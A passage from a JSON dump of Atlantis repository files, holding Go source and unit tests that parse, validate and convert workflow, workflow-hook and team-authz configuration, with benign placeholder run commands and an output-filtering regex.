be no error.\n\t\t\tdescription: \"unparsable shell command\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my 'c\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := c.input.Validate()\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tErrEquals(t, c.expErr, err)\n\t\t})\n\t}\n}\n\nfunc TestStep_ToValid(t *testing.T) {\n\ttestRegexDotStar := regexp.MustCompile(\".*\")\n\ttestRegexSecret := regexp.MustCompile(\"((?i)secret:\\\\s\\\")[^\\\"]*\")\n\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Step\n\t\texp         valid.Step\n\t}{\n\t\t{\n\t\t\tdescription: \"init step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"init\"),\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName: \"init\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"plan\"),\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName: \"plan\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"policy_check step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"policy_check\"),\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName: \"policy_check\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"apply\"),\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName: \"apply\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"env step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: EnvType{\n\t\t\t\t\t\"env\": {\n\t\t\t\t\t\t\"name\":    \"test\",\n\t\t\t\t\t\t\"command\": \"echo 123\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"env\",\n\t\t\t\tRunCommand: \"echo 123\",\n\t\t\t\tEnvVarName: \"test\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"import step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tKey: String(\"import\"),\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName: \"import\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"init extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"init\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:  \"init\",\n\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"plan\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:  \"plan\",\n\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"policy_check extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"policy_check\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:  \"policy_check\",\n\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"apply extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"apply\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:  \"apply\",\n\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"import extra_args\",\n\t\t\tinput: raw.Step{\n\t\t\t\tMap: MapType{\n\t\t\t\t\t\"import\": {\n\t\t\t\t\t\t\"extra_args\": []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:  \"import\",\n\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my 'run command'\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with single output\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\":  \"hide\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"hide\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with duplicated values\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\": []string{\n\t\t\t\t\t\t\t\"hide\",\n\t\t\t\t\t\t\t\"hide\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"hide\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with multiple string outputs\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\": []string{\n\t\t\t\t\t\t\t\"show\",\n\t\t\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"show\",\n\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with single regex filter\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\": []any{\n\t\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\t\"filter_regex\": \".*\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"filter_regex\",\n\t\t\t\t},\n\t\t\t\tFilterRegexes: []*regexp.Regexp{\n\t\t\t\t\ttestRegexDotStar,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with multiple mixed outputs and single regex\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\": []any{\n\t\t\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\t\"filter_regex\": \".*\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t\t\"filter_regex\",\n\t\t\t\t},\n\t\t\t\tFilterRegexes: []*regexp.Regexp{\n\t\t\t\t\ttestRegexDotStar,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step with multiple mixed outputs and multiple regexes\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: RunType{\n\t\t\t\t\t\"run\": {\n\t\t\t\t\t\t\"command\": \"my 'run command'\",\n\t\t\t\t\t\t\"output\": []any{\n\t\t\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\t\"filter_regex\": \".*\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tmap[string]any{\n\t\t\t\t\t\t\t\t\"filter_regex\": \"((?i)secret:\\\\s\\\")[^\\\"]*\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"strip_refreshing\",\n\t\t\t\t\t\"filter_regex\",\n\t\t\t\t},\n\t\t\t\tFilterRegexes: []*regexp.Regexp{\n\t\t\t\t\ttestRegexDotStar,\n\t\t\t\t\ttestRegexSecret,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"multienv step\",\n\t\t\tinput: raw.Step{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"multienv\": \"envs.sh\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"multienv\",\n\t\t\t\tRunCommand: \"envs.sh\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"multienv step with single output\",\n\t\t\tinput: raw.Step{\n\t\t\t\tCommandMap: MultiEnvType{\n\t\t\t\t\t\"multienv\": {\n\t\t\t\t\t\t\"command\": \"envs.sh\",\n\t\t\t\t\t\t\"output\":  \"hide\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Step{\n\t\t\t\tStepName:   \"multienv\",\n\t\t\t\tRunCommand: \"envs.sh\",\n\t\t\t\tOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\t\"hide\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n\ntype MapType map[string]map[string][]string\ntype EnvType map[string]map[string]any\ntype RunType map[string]map[string]any\ntype MultiEnvType map[string]map[string]any\n"
  },
  {
    "path": "server/core/config/raw/team_authz.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport \"github.com/runatlantis/atlantis/server/core/config/valid\"\n\ntype TeamAuthz struct {\n\tCommand string   `yaml:\"command\" json:\"command\"`\n\tArgs    []string `yaml:\"args\" json:\"args\"`\n}\n\nfunc (t *TeamAuthz) ToValid() valid.TeamAuthz {\n\tvar v valid.TeamAuthz\n\tv.Command = t.Command\n\tv.Args = make([]string, 0)\n\tif t.Args != nil {\n\t\tv.Args = append(v.Args, t.Args...)\n\t}\n\n\treturn v\n}\n"
  },
  {
    "path": "server/core/config/raw/workflow.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\ntype Workflow struct {\n\tApply       *Stage `yaml:\"apply,omitempty\" json:\"apply,omitempty\"`\n\tPlan        *Stage `yaml:\"plan,omitempty\" json:\"plan,omitempty\"`\n\tPolicyCheck *Stage `yaml:\"policy_check,omitempty\" json:\"policy_check,omitempty\"`\n\tImport      *Stage `yaml:\"import,omitempty\" json:\"import,omitempty\"`\n\tStateRm     *Stage `yaml:\"state_rm,omitempty\" json:\"state_rm,omitempty\"`\n}\n\nfunc (w Workflow) Validate() error {\n\treturn validation.ValidateStruct(&w,\n\t\tvalidation.Field(&w.Apply),\n\t\tvalidation.Field(&w.Plan),\n\t\tvalidation.Field(&w.PolicyCheck),\n\t\tvalidation.Field(&w.Import),\n\t\tvalidation.Field(&w.StateRm),\n\t)\n}\n\nfunc (w Workflow) toValidStage(stage *Stage, defaultStage valid.Stage) valid.Stage {\n\tif stage == nil || stage.Steps == nil {\n\t\treturn defaultStage\n\t}\n\n\treturn stage.ToValid()\n}\n\nfunc (w Workflow) ToValid(name string) valid.Workflow {\n\tv := valid.Workflow{\n\t\tName: name,\n\t}\n\n\tv.Apply = w.toValidStage(w.Apply, valid.DefaultApplyStage)\n\tv.Plan = w.toValidStage(w.Plan, valid.DefaultPlanStage)\n\tv.PolicyCheck = w.toValidStage(w.PolicyCheck, valid.DefaultPolicyCheckStage)\n\tv.Import = w.toValidStage(w.Import, valid.DefaultImportStage)\n\tv.StateRm = w.toValidStage(w.StateRm, valid.DefaultStateRmStage)\n\n\treturn v\n}\n"
  },
  {
    "path": "server/core/config/raw/workflow_step.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\n// WorkflowHook represents a single action/command to perform. In YAML,\n// it can be set as\n// A map for a custom run commands:\n//   - run: my custom command\ntype WorkflowHook struct {\n\tStringVal map[string]string\n}\n\nfunc (s *WorkflowHook) UnmarshalYAML(unmarshal func(any) error) error {\n\treturn s.unmarshalGeneric(unmarshal)\n}\n\nfunc (s WorkflowHook) MarshalYAML() (any, error) {\n\treturn s.marshalGeneric()\n}\n\nfunc (s *WorkflowHook) UnmarshalJSON(data []byte) error {\n\treturn s.unmarshalGeneric(func(i any) error {\n\t\treturn json.Unmarshal(data, i)\n\t})\n}\n\nfunc (s *WorkflowHook) MarshalJSON() ([]byte, error) {\n\tout, err := s.marshalGeneric()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(out)\n}\n\nfunc (s WorkflowHook) Validate() error {\n\trunStep := func(value any) error {\n\t\telem := value.(map[string]string)\n\t\tvar keys []string\n\t\tfor k := range elem {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\t// Sort so tests can be deterministic.\n\t\tsort.Strings(keys)\n\n\t\tif len(keys) > 1 {\n\t\t\treturn fmt.Errorf(\"step element can only contain a single key, found %d: %s\",\n\t\t\t\tlen(keys), strings.Join(keys, \",\"))\n\t\t}\n\t\tfor stepName := range elem {\n\t\t\tif stepName != RunStepName {\n\t\t\t\treturn fmt.Errorf(\"%q is not a valid step type\", stepName)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tif len(s.StringVal) > 0 {\n\t\treturn validation.Validate(s.StringVal, validation.By(runStep))\n\t}\n\treturn errors.New(\"step element is empty\")\n}\n\nfunc (s WorkflowHook) ToValid() *valid.WorkflowHook {\n\t// This will trigger in case #4 (see WorkflowHook docs).\n\tif len(s.StringVal) > 0 {\n\t\treturn &valid.WorkflowHook{\n\t\t\tStepName:        RunStepName,\n\t\t\tRunCommand:      s.StringVal[\"run\"],\n\t\t\tStepDescription: s.StringVal[\"description\"],\n\t\t\tShell:           s.StringVal[\"shell\"],\n\t\t\tShellArgs:       s.StringVal[\"shellArgs\"],\n\t\t\tCommands:        s.StringVal[\"commands\"],\n\t\t}\n\t}\n\n\tpanic(\"step was not valid. This is a bug!\")\n}\n\n// unmarshalGeneric is used by UnmarshalJSON and UnmarshalYAML to unmarshal\n// a step a custom run step: \" - run: my custom command\"\n// It takes a parameter unmarshal that is a function that tries to unmarshal\n// the current element into a given object.\nfunc (s *WorkflowHook) unmarshalGeneric(unmarshal func(any) error) error {\n\t// Try to unmarshal as a custom run step, ex.\n\t// repo_config:\n\t// - run: my command\n\t// We validate if the key is run later.\n\tvar runStep map[string]string\n\terr := unmarshal(&runStep)\n\tif err == nil {\n\t\ts.StringVal = runStep\n\t\treturn nil\n\t}\n\n\treturn err\n}\n\nfunc (s WorkflowHook) marshalGeneric() (any, error) {\n\tif len(s.StringVal) != 0 {\n\t\treturn s.StringVal, nil\n\t}\n\n\t// empty step should be marshalled to null, although this is generally\n\t// unexpected behavior.\n\treturn nil, nil\n}\n"
  },
  {
    "path": "server/core/config/raw/workflow_step_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tyaml \"gopkg.in/yaml.v3\"\n)\n\nfunc TestWorkflowHook_YAMLMarshalling(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.WorkflowHook\n\t\texpErr      string\n\t}{\n\t\t// Run-step style\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: `\nrun: my command`,\n\t\t\texp: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"run step multiple top-level keys\",\n\t\t\tinput: `\nrun: my command\nkey: value`,\n\t\t\texp: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t\t\"key\": \"value\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t// Errors\n\t\t{\n\t\t\tdescription: \"extra args style no slice strings\",\n\t\t\tinput: `\nkey:\n  value:\n    another: map`,\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 3: cannot unmarshal !!map into string\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar got raw.WorkflowHook\n\t\t\terr := unmarshalString(c.input, &got)\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, got)\n\n\t\t\t_, err = yaml.Marshal(got)\n\t\t\tOk(t, err)\n\n\t\t\tvar got2 raw.WorkflowHook\n\t\t\terr = unmarshalString(c.input, &got2)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, got2, got)\n\t\t})\n\t}\n}\n\nfunc TestGlobalConfigStep_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.WorkflowHook\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my command\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid key in string val\",\n\t\t\tinput: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"invalid\": \"\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\\\"invalid\\\" is not a valid step type\",\n\t\t},\n\t\t{\n\t\t\t// For atlantis.yaml v2, this wouldn't parse, but now there should\n\t\t\t// be no error.\n\t\t\tdescription: \"unparsable shell command\",\n\t\t\tinput: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my 'c\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := c.input.Validate()\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tErrEquals(t, c.expErr, err)\n\t\t})\n\t}\n}\n\nfunc TestWorkflowHook_ToValid(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.WorkflowHook\n\t\texp         *valid.WorkflowHook\n\t}{\n\t\t{\n\t\t\tdescription: \"run step\",\n\t\t\tinput: raw.WorkflowHook{\n\t\t\t\tStringVal: map[string]string{\n\t\t\t\t\t\"run\": \"my 'run command'\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: &valid.WorkflowHook{\n\t\t\t\tStepName:   \"run\",\n\t\t\t\tRunCommand: \"my 'run command'\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/workflow_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestWorkflow_UnmarshalYAML(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.Workflow\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"empty\",\n\t\t\tinput:       ``,\n\t\t\texp: raw.Workflow{\n\t\t\t\tApply:       nil,\n\t\t\t\tPolicyCheck: nil,\n\t\t\t\tPlan:        nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"yaml null\",\n\t\t\tinput:       `~`,\n\t\t\texp: raw.Workflow{\n\t\t\t\tApply:       nil,\n\t\t\t\tPolicyCheck: nil,\n\t\t\t\tPlan:        nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"only plan/apply set\",\n\t\t\tinput: `\nplan:\napply:\n`,\n\t\t\texp: raw.Workflow{\n\t\t\t\tApply: nil,\n\t\t\t\tPlan:  nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"only plan/policy_check/apply set\",\n\t\t\tinput: `\nplan:\npolicy_check:\napply:\n`,\n\t\t\texp: raw.Workflow{\n\t\t\t\tApply:       nil,\n\t\t\t\tPolicyCheck: nil,\n\t\t\t\tPlan:        nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"steps set to null\",\n\t\t\tinput: `\nplan:\n  steps: ~\npolicy_check:\n  steps: ~\napply:\n  steps: ~`,\n\t\t\texp: raw.Workflow{\n\t\t\t\tPlan: &raw.Stage{\n\t\t\t\t\tSteps: nil,\n\t\t\t\t},\n\t\t\t\tPolicyCheck: &raw.Stage{\n\t\t\t\t\tSteps: nil,\n\t\t\t\t},\n\t\t\t\tApply: &raw.Stage{\n\t\t\t\t\tSteps: nil,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"steps set to empty slice\",\n\t\t\tinput: `\nplan:\n  steps: []\npolicy_check:\n  steps: []\napply:\n  steps: []`,\n\t\t\texp: raw.Workflow{\n\t\t\t\tPlan: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t},\n\t\t\t\tPolicyCheck: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t},\n\t\t\t\tApply: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar w raw.Workflow\n\t\t\terr := unmarshalString(c.input, &w)\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, w)\n\t\t})\n\t}\n}\n\nfunc TestWorkflow_Validate(t *testing.T) {\n\t// Should call the validate of Stage.\n\tw := raw.Workflow{\n\t\tApply: &raw.Stage{\n\t\t\tSteps: []raw.Step{\n\t\t\t\t{\n\t\t\t\t\tKey: String(\"invalid\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvalidation.ErrorTag = \"yaml\"\n\tErrEquals(t, \"apply: (steps: (0: \\\"invalid\\\" is not a valid step type, maybe you omitted the 'run' key.).).\", w.Validate())\n\n\t// Unset keys should validate.\n\tOk(t, (raw.Workflow{}).Validate())\n}\n\nfunc TestWorkflow_ToValid(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Workflow\n\t\texp         valid.Workflow\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.Workflow{},\n\t\t\texp: valid.Workflow{\n\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\tImport:      valid.DefaultImportStage,\n\t\t\t\tStateRm:     valid.DefaultStateRmStage,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"fields set\",\n\t\t\tinput: raw.Workflow{\n\t\t\t\tApply: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: String(\"init\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicyCheck: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: String(\"policy_check\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPlan: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: String(\"init\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tImport: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: String(\"import\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tStateRm: &raw.Stage{\n\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: String(\"state_rm\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Workflow{\n\t\t\t\tApply: valid.Stage{\n\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tImport: valid.Stage{\n\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tStepName: \"import\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tStepName: \"state_rm\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tc.exp.Name = \"name\"\n\t\t\tEquals(t, c.exp, c.input.ToValid(\"name\"))\n\t\t})\n\t}\n}\n"
  },
  {
